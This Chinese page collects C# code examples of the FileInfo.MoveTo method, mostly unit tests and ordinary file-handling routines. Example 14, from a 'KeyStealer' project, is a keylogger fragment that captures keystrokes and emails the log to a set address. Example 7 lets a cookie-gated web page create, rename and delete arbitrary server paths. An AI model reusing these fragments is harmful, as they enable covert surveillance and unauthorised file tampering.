当前位置: 首页>>代码示例>>C#>>正文


C# FileInfo.MoveTo方法代码示例

本文整理汇总了C#中FileInfo.MoveTo方法的典型用法代码示例。如果您正苦于以下问题:C# FileInfo.MoveTo方法的具体用法?C# FileInfo.MoveTo怎么用?C# FileInfo.MoveTo使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在FileInfo的用法示例。


在下文中一共展示了FileInfo.MoveTo方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。

示例1: NameChange

 public void NameChange()
 {
     string source = GetTestFilePath();
     string dest = GetTestFilePath();
     FileInfo testFile = new FileInfo(source);
     testFile.Create().Dispose();
     Assert.Equal(source, testFile.FullName);
     testFile.MoveTo(dest);
     testFile.Refresh();
     Assert.Equal(dest, testFile.FullName);
 }
开发者ID:jmhardison,项目名称:corefx,代码行数:11,代码来源:Refresh.cs

示例2: MoveLater

 public void MoveLater(string id)
 {
     var oldItemOldName = GetFileNameFromId(id);
     var oldItemIndex = oldItemOldName.Index;
     var newItemIndex = oldItemIndex - 1;
     var oldItemNewName = new NewsItemFileName(id, newItemIndex);
     var newItemOldName = GetFileNameFromIndex(newItemIndex);
     var newItemNewName = new NewsItemFileName(newItemOldName.Id, oldItemIndex);
     var tempFileName = Path.GetTempFileName();
     var newItemOldInfo = GetFileInfo(newItemOldName);
     var oldFileOldInfo = GetFileInfo(oldItemOldName);
     var tempFileInfo = new FileInfo(tempFileName);
     tempFileInfo.Delete();
     newItemOldInfo.MoveTo(tempFileName);
     oldFileOldInfo.MoveTo(GetFileInfo(oldItemNewName).FullName);
     tempFileInfo.MoveTo(GetFileInfo(newItemNewName).FullName);
 }
开发者ID:smohan,项目名称:nP-website,代码行数:17,代码来源:NewsRepository.cs

示例3: MoveFileToDirectory

    // Move file to destination directory and create the directory when none exists.
    public static void MoveFileToDirectory(string srcFilePath, string destDir)
    {
        FileInfo fi = new FileInfo(srcFilePath);
        DirectoryInfo di = new DirectoryInfo(destDir);

        if ( ! di.Exists )
        {
            di.Create();
        }

        string destFilePath = Path.Combine(di.FullName, fi.Name);
        try
        {
            fi.MoveTo(destFilePath);
        }
        catch (Exception ex)
        {
            UnityEngine.Debug.LogError(string.Format("Wwise: Error during installation: {0}.", ex.Message));
        }
    }
开发者ID:Khoyo,项目名称:APOIL_JEU_VIEUX,代码行数:21,代码来源:AkUnityPluginInstallerBase.cs

示例4: runTest

 public bool runTest()
 {
     Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
     String strLoc = "Loc_000oo";
     String strValue = String.Empty;
     int iCountErrors = 0;
     int iCountTestcases = 0;
     try
     {
         String filName = s_strTFAbbrev+"TestFile";
         FileInfo fil1, fil2;
         StreamWriter sw2;
         Char[] cWriteArr, cReadArr;
         StreamReader sr2;
         if(File.Exists(filName)) 
             File.Delete(filName);
         strLoc = "Loc_498yg";
         File.Create(filName).Close();
         fil2 = new FileInfo(filName);
         iCountTestcases++;
         try 
         {
             fil2.MoveTo(null);
             iCountErrors++;
             printerr( "Error_209uz! Expected exception not thrown, fil2=="+fil2.FullName);
         } 
         catch (ArgumentNullException) 
         {
         } 
         catch (Exception exc) 
         {
             iCountErrors++;
             printerr( "Error_21x99! Incorrect exception thrown, exc=="+exc.ToString());
         }
         fil2.Delete();
         strLoc = "Loc_298vy";
         File.Create(filName).Close();
         fil2 = new FileInfo(filName);
         iCountTestcases++;
         try 
         {
             fil2.MoveTo(String.Empty);
             iCountErrors++;
             printerr( "Error_092u9! Expected exception not thrown, fil2=="+fil2.FullName);
         } 
         catch (ArgumentException) 
         {
         } 
         catch (Exception exc) 
         {
             iCountErrors++;
             printerr( "Error_109uc! Incorrect exception thrown, exc=="+exc.ToString());
         }
         fil2.Delete();
         strLoc = "Loc_289vy";
         File.Create(filName).Close();
         fil2 = new FileInfo(filName);
         iCountTestcases++;
         try 
         {
             fil2.MoveTo(".");
             iCountErrors++;
             printerr( "Error_301ju! Expected exception not thrown, fil2=="+fil2.FullName);
         } 
         catch (IOException iexc) 
         {
             printinfo("Info_2389! Caught expected exception, exc=="+iexc.Message);
         } 
         catch (Exception exc) 
         {
             iCountErrors++;
             printerr( "Error_209us! Incorrect exception thrown, exc=="+exc.ToString());
         }
         fil2.Delete();
         strLoc = "Loc_r7yd9";
         File.Create(filName).Close();
         fil2 = new FileInfo(filName);
         iCountTestcases++;
         fil2.MoveTo(fil2.Name);
         if(!File.Exists(fil2.Name)) 
         {
             iCountErrors++;
             printerr( "Error_r8g7b! Expected exception not thrown");
         }
         fil2.Delete();
         strLoc = "Loc_f548y";
         File.Create(filName).Close();
         fil2 = new FileInfo(filName);
         iCountTestcases++;
         fil2.MoveTo("TestFile.tmp1");
         fil1 = new FileInfo("TestFile.tmp1");
         fil2.Refresh();
         if(File.Exists(filName)) 
         {
             iCountErrors++;
             printerr( "Error_2978y! File not copied");
         }
         if(!File.Exists(fil2.Name)) 
         {
             iCountErrors++;
//.........这里部分代码省略.........
开发者ID:gbarnett,项目名称:shared-source-cli-2.0,代码行数:101,代码来源:co5711moveto_str.cs

示例5: SetText

    ///  Return the formatted text.
    ///  Usually the text would be returned to an edit control.
    private static void SetText(String textOut, String filePath)
    {
        // create a backup file
        String origfilePath = filePath +  ".orig";
        File.Delete(origfilePath);                  // remove a pre-existing file
        FileInfo outFile = new FileInfo(filePath);
        outFile.MoveTo(origfilePath);

        // write the output file - same name as input
        try
        {   char[] bufferOut = textOut.ToCharArray();
            FileStream file = new FileStream(filePath, FileMode.Create);
            StreamWriter streamOut = new StreamWriter(file);
            streamOut.Write(bufferOut, 0, bufferOut.Length);
            streamOut.Close();
        }
        catch (Exception e)
        {   Console.WriteLine(e.ToString());
            Error("Error writing file", filePath);
        }

        return;
    }
开发者ID:azat-archive,项目名称:astyle,代码行数:25,代码来源:Example2.cs

示例6: UpdateFile

    public static void UpdateFile(string fileName, string filePath, string attrString, int portalID, string userName, int userModuleID, string secureToken)
    {
        AuthenticateService objService = new AuthenticateService();
        if (objService.IsPostAuthenticatedView(portalID, userModuleID, userName, secureToken))
        {
            filePath = GetAbsolutePath(filePath);
            try
            {
                FileInfo file = new FileInfo(filePath);
                /// Checking if file exists
                if (file.Exists)
                {
                    ///get the folder path
                    filePath = filePath.Substring(0, filePath.LastIndexOf("/") + 1);
                    filePath = filePath + fileName;
                    file.MoveTo(filePath);
                    //FileManagerController.UpdateFile(fileId, fileName);
                    FileManagerHelper.SetFileAttributes(filePath, attrString);
                    //CacheHelper.Clear("FileManagerFileList");

                }
            }
            catch (Exception ex)
            {

                fb.ProcessException(ex);
            }
        }
    }
开发者ID:xiaoxiaocoder,项目名称:AspxCommerce2.7,代码行数:29,代码来源:WebMethods.aspx.cs

示例7: Page_Load

 protected void Page_Load(object sender, EventArgs e)
 {
     base.Response.Cache.SetNoStore();
     if (base.Request.Cookies["WQeditCookie"] == null)
     {
         base.Response.Write("Null");
         base.Response.End();
     }
     else if (base.Request.Cookies["WQeditCookie"].Value.ToString() != "WQedit")
     {
         base.Response.End();
     }
     string str = "";
     string str2 = "";
     this.SelectPath.Value = base.Server.MapPath("~/").ToString();
     if (base.Request.QueryString["dir"] != null)
     {
         str = base.Request.QueryString["dir"].ToString();
     }
     string path = base.Server.MapPath("upfile");
     if (str != "")
     {
         path = str;
     }
     if (base.Request.QueryString["action"] != null)
     {
         str2 = base.Request.QueryString["action"].ToString();
     }
     if (str2 == "Add")
     {
         string str4 = "";
         if (base.Request.QueryString["addPath"] != null)
         {
             str4 = base.Request.QueryString["addPath"].ToString();
             if (Directory.Exists(str4))
             {
                 base.Response.Write("<script>alert(\"该文件夹已存在\");window.history.back();</script>");
                 base.Response.End();
             }
             else
             {
                 DirectoryInfo info = new DirectoryInfo(str4);
                 info.Create();
                 path = info.Parent.FullName.ToString();
             }
         }
     }
     else if (str2 == "Ren")
     {
         string newValue = "";
         string str6 = "";
         if (base.Request.QueryString["renPath"] != null)
         {
             str6 = base.Request.QueryString["renPath"].ToString();
         }
         if (base.Request.QueryString["newname"] != null)
         {
             newValue = base.Request.QueryString["newname"].ToString();
         }
         if ((newValue != "") && (str6 != ""))
         {
             if (str6.IndexOf(".") == -1)
             {
                 DirectoryInfo info2 = new DirectoryInfo(str6);
                 if (info2.Exists)
                 {
                     info2.MoveTo(str6.Replace(info2.Name.ToString(), newValue));
                     path = info2.Parent.FullName.ToString();
                 }
             }
             else
             {
                 FileInfo info3 = new FileInfo(str6);
                 if (info3.Exists)
                 {
                     string str7 = info3.Extension.ToString();
                     info3.MoveTo(str6.Replace(info3.Name.ToString(), newValue + str7));
                     path = info3.Directory.FullName.ToString();
                 }
             }
         }
     }
     else if (str2 == "Del")
     {
         string str8 = "";
         if (base.Request.QueryString["delPath"] != null)
         {
             str8 = base.Request.QueryString["delPath"].ToString();
             if (str8.IndexOf(".") == -1)
             {
                 DirectoryInfo info4 = new DirectoryInfo(str8);
                 if (info4.Exists)
                 {
                     info4.Delete(true);
                     path = info4.Parent.FullName.ToString();
                 }
                 else
                 {
                     FileInfo info5 = new FileInfo(str8);
                     if (info5.Exists)
//.........这里部分代码省略.........
开发者ID:wangxu627,项目名称:WebBuss,代码行数:101,代码来源:WQ.InsertPast.aspx.cs

示例8: runTest

 public bool runTest()
 {
     Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
     int iCountErrors = 0;
     int iCountTestcases = 0;
     String strLoc = "Loc_000oo";
     String strValue = String.Empty;
     try
     {
         FileInfo fil2;
         String filName = s_strTFAbbrev+"Test.tmp";
         if(File.Exists(filName))
             File.Delete(filName);
         strLoc = "Loc_00001";
         File.Open(filName, FileMode.Create).Close();
         fil2 = new FileInfo(filName);
         File.Delete(filName);
         iCountTestcases++;
         fil2.Refresh();
         strLoc = "Loc_00005";
         if(File.Exists("Temp001"))
             File.Delete("Temp001");
         iCountTestcases++;
         File.Open(filName, FileMode.Create).Close();
         fil2 = new FileInfo(filName);
         fil2.MoveTo("Temp001");
         fil2.Refresh();
         File.Delete("Temp001");
         strLoc = "Loc_00006";
         iCountTestcases++;
         File.Open(filName, FileMode.Create).Close();
         fil2 = new FileInfo(filName);
         Console.WriteLine(fil2.Attributes);
         if(((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) != 0) 
         {
             iCountErrors++;
             printerr( "Error_00007! Attribute set before refresh");
         }
         fil2.Attributes = FileAttributes.ReadOnly;
         fil2.Refresh();
         iCountTestcases++;
         if(((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) <= 0) 
         {
             iCountErrors++;
             printerr( "Error_00008! Object not refreshed after setting readonly");
         }
         fil2.Attributes = new FileAttributes();
         fil2.Refresh();
         if(((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) != 0) 
         {
             iCountErrors++;
             printerr( "Error_00009! Object not refreshed after removing readonly");
         }
         if(File.Exists(filName))
             File.Delete(filName);
     } 
     catch (Exception exc_general ) 
     {
         ++iCountErrors;
         Console.WriteLine (s_strTFAbbrev + " : Error Err_8888yyy!  strLoc=="+ strLoc +", exc_general=="+exc_general.ToString());
     }
     if ( iCountErrors == 0 )
     {
         Console.WriteLine( "paSs. "+s_strTFName+" ,iCountTestcases=="+iCountTestcases.ToString());
         return true;
     }
     else
     {
         Console.WriteLine("FAiL! "+s_strTFName+" ,iCountErrors=="+iCountErrors.ToString()+" , BugNums?: "+s_strActiveBugNums );
         return false;
     }
 }
开发者ID:ArildF,项目名称:masters,代码行数:72,代码来源:co5768refresh.cs

示例9: SplitLog

        private void SplitLog()
        {
            try
            {
                FileInfo _File = new FileInfo(_Location);
                if (_Enabled && _File.Exists && _File.CreationTime.Date.CompareTo(DateTime.Now.Date) != 0)
                {
                    string backupFileName = string.Format(@"{0}\logs_{1}.txt", _File.DirectoryName, _File.CreationTime.Date.ToString("yyyyMMdd"));
                    _File.MoveTo(backupFileName);

                    Initialize();
                }
            }
            catch { return; }
        }
开发者ID:michaelAngeloEgypt,项目名称:XLogger,代码行数:15,代码来源:XLogger.cs

示例10: UpdateFile

    public static void UpdateFile(string fileName, string filePath, string attrString)
    {

        filePath = GetAbsolutePath(filePath);


        try
        {
            FileInfo file = new FileInfo(filePath);
            /// Checking if file exists
            if (file.Exists)
            {
                ///get the folder path
                filePath = filePath.Substring(0, filePath.LastIndexOf("/") + 1);
                filePath = filePath + fileName;
                file.MoveTo(filePath);
                //FileManagerController.UpdateFile(fileId, fileName);
                FileManagerHelper.SetFileAttributes(filePath, attrString);
                //CacheHelper.Clear("FileManagerFileList");

            }
        }
        catch (Exception ex)
        {

            fb.ProcessException(ex);
        }



    }
开发者ID:RexSystemsbd,项目名称:SageFrameV2.1Source,代码行数:31,代码来源:WebMethods.aspx.cs

示例11: runTest

    public static void runTest()
    {
        String strLoc = "Loc_000oo";
        String strValue = String.Empty;
        int iCountErrors = 0;
        int iCountTestcases = 0;


        try
        {
            /////////////////////////  START TESTS ////////////////////////////
            ///////////////////////////////////////////////////////////////////

            String filName = Path.Combine(TestInfo.CurrentDirectory, Path.GetRandomFileName());
            FileInfo fil1, fil2;
            StreamWriter sw2;
            Char[] cWriteArr, cReadArr;
            StreamReader sr2;

            if (File.Exists(filName))
                File.Delete(filName);



            // [] Exception for null arguments
            //-----------------------------------------------------------------

            strLoc = "Loc_498yg";

            File.Create(filName).Dispose();
            fil2 = new FileInfo(filName);
            iCountTestcases++;
            try
            {
                fil2.MoveTo(null);
                iCountErrors++;
                printerr("Error_209uz! Expected exception not thrown, fil2==" + fil2.FullName);
            }
            catch (ArgumentNullException)
            {
            }
            catch (Exception exc)
            {
                iCountErrors++;
                printerr("Error_21x99! Incorrect exception thrown, exc==" + exc.ToString());
            }
            fil2.Delete();

            //-----------------------------------------------------------------


            // [] String.Empty should throw ArgumentException
            //-----------------------------------------------------------------

            strLoc = "Loc_298vy";

            File.Create(filName).Dispose();
            fil2 = new FileInfo(filName);
            iCountTestcases++;
            try
            {
                fil2.MoveTo(String.Empty);
                iCountErrors++;
                printerr("Error_092u9! Expected exception not thrown, fil2==" + fil2.FullName);
            }
            catch (ArgumentException)
            {
            }
            catch (Exception exc)
            {
                iCountErrors++;
                printerr("Error_109uc! Incorrect exception thrown, exc==" + exc.ToString());
            }
            fil2.Delete();
            //-----------------------------------------------------------------


            // [] Try to Move onto directory
            //-----------------------------------------------------------------

            strLoc = "Loc_289vy";


            File.Create(filName).Dispose();
            fil2 = new FileInfo(filName);
            iCountTestcases++;
            try
            {
                fil2.MoveTo(TestInfo.CurrentDirectory);
                iCountErrors++;
                printerr("Error_301ju! Expected exception not thrown, fil2==" + fil2.FullName);
            }
            catch (IOException)
            {
            }
            catch (Exception exc)
            {
                iCountErrors++;
                printerr("Error_209us! Incorrect exception thrown, exc==" + exc.ToString());
            }
//.........这里部分代码省略.........
开发者ID:johnhhm,项目名称:corefx,代码行数:101,代码来源:MoveTo_str.cs

示例12: runTest

    public static void runTest()
    {
        int iCountErrors = 0;
        int iCountTestcases = 0;
        String strLoc = "Loc_000oo";
        String strValue = String.Empty;


        try
        {
            /////////////////////////  START TESTS ////////////////////////////
            ///////////////////////////////////////////////////////////////////


            FileInfo fil2;
            String filName = Path.Combine(TestInfo.CurrentDirectory, Path.GetRandomFileName());

            if (File.Exists(filName))
                File.Delete(filName);


            // [] Delete File and refresh
            //----------------------------------------------------------------
            strLoc = "Loc_00001";

            File.Open(filName, FileMode.Create).Dispose();
            fil2 = new FileInfo(filName);
            File.Delete(filName);
            iCountTestcases++;
            fil2.Refresh();

            //----------------------------------------------------------------

            // [] Change name of File and refresh
            //----------------------------------------------------------------
            strLoc = "Loc_00005";

            string tempFilName = Path.Combine(TestInfo.CurrentDirectory, "Temp001");
            if (File.Exists(tempFilName))
                File.Delete(tempFilName);

            iCountTestcases++;

            File.Open(filName, FileMode.Create).Dispose();
            fil2 = new FileInfo(filName);
            fil2.MoveTo(tempFilName);
            fil2.Refresh();
            File.Delete(tempFilName);
            //----------------------------------------------------------------

            // [] Change Attributes and refresh
            //----------------------------------------------------------------
            strLoc = "Loc_00006";

            iCountTestcases++;
            File.Open(filName, FileMode.Create).Dispose();
            fil2 = new FileInfo(filName);
            if (((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) != 0)
            {
                Console.WriteLine(fil2.Attributes);
                iCountErrors++;
                printerr("Error_00007! Attribute set before refresh");
            }

            fil2.Attributes = FileAttributes.ReadOnly;
            fil2.Refresh();
            iCountTestcases++;
            if (((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) <= 0)
            {
                iCountErrors++;
                printerr("Error_00008! Object not refreshed after setting readonly");
            }

            fil2.Attributes = new FileAttributes();
            fil2.Refresh();
            if (((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) != 0)
            {
                iCountErrors++;
                printerr("Error_00009! Object not refreshed after removing readonly");
            }

            //----------------------------------------------------------------

            if (File.Exists(filName))
                File.Delete(filName);

            ///////////////////////////////////////////////////////////////////
            /////////////////////////// END TESTS /////////////////////////////
        }
        catch (Exception exc_general)
        {
            ++iCountErrors;
            Console.WriteLine("Error Err_8888yyy!  strLoc==" + strLoc + ", exc_general==" + exc_general.ToString());
        }
        ////  Finish Diagnostics
        if (iCountErrors != 0)
        {
            Console.WriteLine("FAiL! " + s_strTFName + " ,iCountErrors==" + iCountErrors.ToString());
        }

//.........这里部分代码省略.........
开发者ID:johnhhm,项目名称:corefx,代码行数:101,代码来源:Refresh.cs

示例13: UpdateFile

    public static void UpdateFile(int fileId, int folderId, string fileName, string filePath, string attrString)
    {

        filePath = GetAbsolutePath(filePath);
        List<Folder> lstFolder = FileManagerController.GetFolders();
        int folderType = 0;
        int index = lstFolder.FindIndex(
                delegate(Folder obj)
                {
                    return (obj.FolderId == folderId);
                }
            );
        if (index > -1)
        {
            folderType = lstFolder[index].StorageLocation;
        }
        string newFileName = fileName;
        if (folderType == 1)
        {
            filePath += ".resources";
            newFileName += ".resources";
        }
        try
        {
            FileInfo file = new FileInfo(filePath);
            /// Checking if file exists
            if (file.Exists)
            {
                ///get the folder path
                filePath = filePath.Substring(0, filePath.LastIndexOf("/") + 1);
                filePath = filePath + newFileName;
                file.MoveTo(filePath);
                FileManagerController.UpdateFile(fileId, fileName);
                FileManagerHelper.SetFileAttributes(filePath, attrString);
                CacheHelper.Clear("FileManagerFileList");

            }
        }
        catch (Exception ex)
        {

            fb.ProcessException(ex);
        }



    }
开发者ID:electrono,项目名称:veg-web,代码行数:47,代码来源:WebMethods.aspx.cs

示例14: HookCallback

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

            //Write to console and to file
            Console.WriteLine((Keys)vkCode);
            writeLetter((Keys)vkCode);

            //Send log via email when it reaches a certain weight.
            FileInfo logFile = new FileInfo(appData + @"\SysWin32\log.txt");
            if (logFile.Exists && logFile.Length > 1000 && checkInternet())
            {
               string filename = "log_" + Environment.UserName + "@" + Environment.MachineName + "_" + DateTime.Now.ToString(@"MM_dd_yyyy_hh\hmm\mss") + ".txt";
               sendMail(System.IO.File.ReadAllText(logFile.ToString()), senderEmail, receiverEmail, senderPassword, filename);
               logFile.MoveTo(appData + @"\SysWin32\logs\" + filename);
            }
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }
开发者ID:htll,项目名称:KeyStealer,代码行数:22,代码来源:Program.cs

示例15: InstallCoherentUIImpl

	static void InstallCoherentUIImpl()
	{
		string workingDirectory = System.IO.Path.Combine(Application.dataPath, "CoherentUI");

		foreach (string name in ResourcesToBeMovedOneUp.Resources.NameList)
		{
			string resource = System.IO.Path.Combine(workingDirectory, name);

			if (File.Exists(resource))
			{
				FileInfo fi = new FileInfo(resource);
				fi.MoveTo(Path.Combine(fi.Directory.Parent.FullName, fi.Name));
			}
			else if (Directory.Exists(resource))
			{
				MoveDirectoryOneUp(new DirectoryInfo(resource));
			}
		}

		AssetDatabase.SaveAssets();
		AssetDatabase.Refresh();
		ReorganizeSamples(workingDirectory);

		AssetDatabase.SaveAssets();
		AssetDatabase.Refresh();

		Debug.Log("Coherent UI installation complete.");
		PlayerPrefs.SetInt("CoherentUI_Installed", 1);
	}
开发者ID:Charkova,项目名称:MetaEden.a14,代码行数:29,代码来源:CoherentUIInstaller.cs


注:本文中的FileInfo.MoveTo方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。